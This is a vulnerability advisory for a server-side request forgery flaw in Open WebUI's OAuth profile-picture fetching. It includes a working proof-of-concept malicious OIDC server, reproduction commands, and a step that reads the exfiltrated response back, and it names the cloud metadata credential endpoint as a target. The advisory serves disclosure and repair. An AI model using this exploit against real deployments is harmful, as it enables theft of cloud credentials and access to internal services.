PT-2026-59336 · Pypi · Open-Webui

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

7.7

High

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in process picture url() in backend/open webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

python
# backend/open webui/utils/oauth.py, line ~1337-1345
async def process picture url(self, picture url: str, access token: str = None) -> str:
  # No validate url() call here
  async with aiohttp.ClientSession(trust env=True) as session:
    async with session.get(picture url, **get kwargs, ssl=AIOHTTP CLIENT SESSION SSL) as resp:
      if resp.ok:
        picture = await resp.read()
        base64 encoded picture = base64.b64encode(picture).decode('utf-8')
        return f'data:{guessed mime type};base64,{base64 encoded picture}'
The codebase already uses validate url() for the same SSRF protection pattern in other paths:
  • backend/open webui/utils/files.py:38 - validate url(url) before requests.get(url)
  • backend/open webui/routers/images.py:800 - validate url(data) before requests.get(data)
The omission in process picture url() is inconsistent with the project's own security practices.

Affected Code Paths

  1. New user OAuth signup (line ~1556): picture url = await self. process picture url(picture url, token.get('access token'))
  2. Existing user picture update on login (line ~1536): when OAUTH UPDATE PICTURE ON LOGIN=true

Steps to Reproduce

Prerequisites

  • Open WebUI instance with generic OIDC OAuth configured
  • ENABLE OAUTH SIGNUP=true

Setup

1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:
python
"""Minimal OIDC PoC server - save as poc oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

SSRF TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF CONFIRMED OPEN WEBUI"

class Handler(BaseHTTPRequestHandler):
  def do GET(self):
    path = urllib.parse.urlparse(self.path).path
    query = urllib.parse.parse qs(urllib.parse.urlparse(self.path).query)
    if path == "/.well-known/openid-configuration":
      self. json({"issuer":"http://host.docker.internal:9000",
        "authorization endpoint":"http://localhost:9000/authorize",
        "token endpoint":"http://host.docker.internal:9000/token",
        "userinfo endpoint":"http://host.docker.internal:9000/userinfo",
        "jwks uri":"http://host.docker.internal:9000/jwks",
        "response types supported":["code"],"subject types supported":["public"],
        "id token signing alg values supported":["RS256"],
        "token endpoint auth methods supported":["client secret post","client secret basic"]})
    elif path == "/authorize":
      ru = query.get("redirect uri",[""])[0]
      st = query.get("state",[""])[0]
      self.send response(302)
      self.send header("Location", f"{ru}?code=poc-code&state={st}")
      self.end headers()
    elif path == "/userinfo":
      self. json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF TARGET})
    elif path == "/jwks":
      self. json({"keys":[]})
    elif path == "/canary":
      self.send response(200)
      self.send header("Content-Type","text/plain")
      body = CANARY.encode()
      self.send header("Content-Length",len(body))
      self.end headers()
      self.wfile.write(body)
      print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
    else:
      self.send response(404); self.end headers()
  def do POST(self):
    if "/token" in self.path:
      self. json({"access token":"tok","token type":"bearer","expires in":3600,
        "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF TARGET}})
  def json(self, d):
    b = json.dumps(d).encode()
    self.send response(200)
    self.send header("Content-Type","application/json")
    self.send header("Content-Length",len(b))
    self.end headers()
    self.wfile.write(b)

HTTPServer(("0.0.0.0", 9000), Handler).serve forever()
2. Run the PoC server:
bash
python3 poc oidc.py
3. Start Open WebUI with Docker:
bash
docker run -d -p 3000:8080 
 --name owui-ssrf-test 
 --add-host=host.docker.internal:host-gateway 
 -e ENABLE OAUTH SIGNUP=true 
 -e WEBUI AUTH=true 
 -e OAUTH CLIENT ID=test-client 
 -e OAUTH CLIENT SECRET=test-secret 
 -e OPENID PROVIDER URL=http://host.docker.internal:9000/.well-known/openid-configuration 
 -e OAUTH PROVIDER NAME=TestOIDC 
 -e "OAUTH SCOPES=openid email profile" 
 ghcr.io/open-webui/open-webui:main
4. Create an admin account at http://localhost:3000, then sign out.
5. Click "Continue with TestOIDC" on the login page.
6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!
7. Verify exfiltrated data is stored and readable:
bash
curl -s http://localhost:3000/api/v1/auths/ 
 -H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile image url', '')
if 'base64,' in url:
  decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
  print(f'DECODED: {decoded}')
"
Result: DECODED: SSRF CONFIRMED OPEN WEBUI
The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile image url, and the attacker can read it back via the API.

Impact

An attacker can force the Open WebUI server to make HTTP requests to:
  • Cloud metadata endpoints (AWS IMDSv1 at http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials
  • Internal network services not exposed to the internet
  • Localhost-bound services (Redis, Elasticsearch, internal APIs)
This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile image url field.

Configuration Note

This vulnerability requires ENABLE OAUTH SIGNUP=true (for the new-user path) or OAUTH UPDATE PICTURE ON LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.

Suggested Fix

Apply validate url() before fetching, consistent with existing patterns in the codebase:
python
from open webui.retrieval.web.utils import validate url

async def process picture url(self, picture url: str, access token: str = None) -> str:
  if not picture url:
    return '/user.png'
  try:
    validate url(picture url) # Add this line
    # ... rest unchanged

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2691

Affected Products

Open-Webui